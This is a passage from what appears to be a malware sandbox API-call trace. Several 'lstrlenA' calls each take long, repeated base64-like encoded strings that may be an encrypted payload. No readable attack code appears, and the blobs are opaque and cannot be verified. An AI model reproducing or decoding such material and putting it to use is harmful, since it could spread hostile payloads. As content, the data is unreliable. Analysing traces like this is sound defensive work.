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") returned 5792 [0042.883] lstrlenA (lpString="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") returned 5792 [0042.883] lstrlenA (lpString="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") returned 5792 [0042.884] lstrlenA 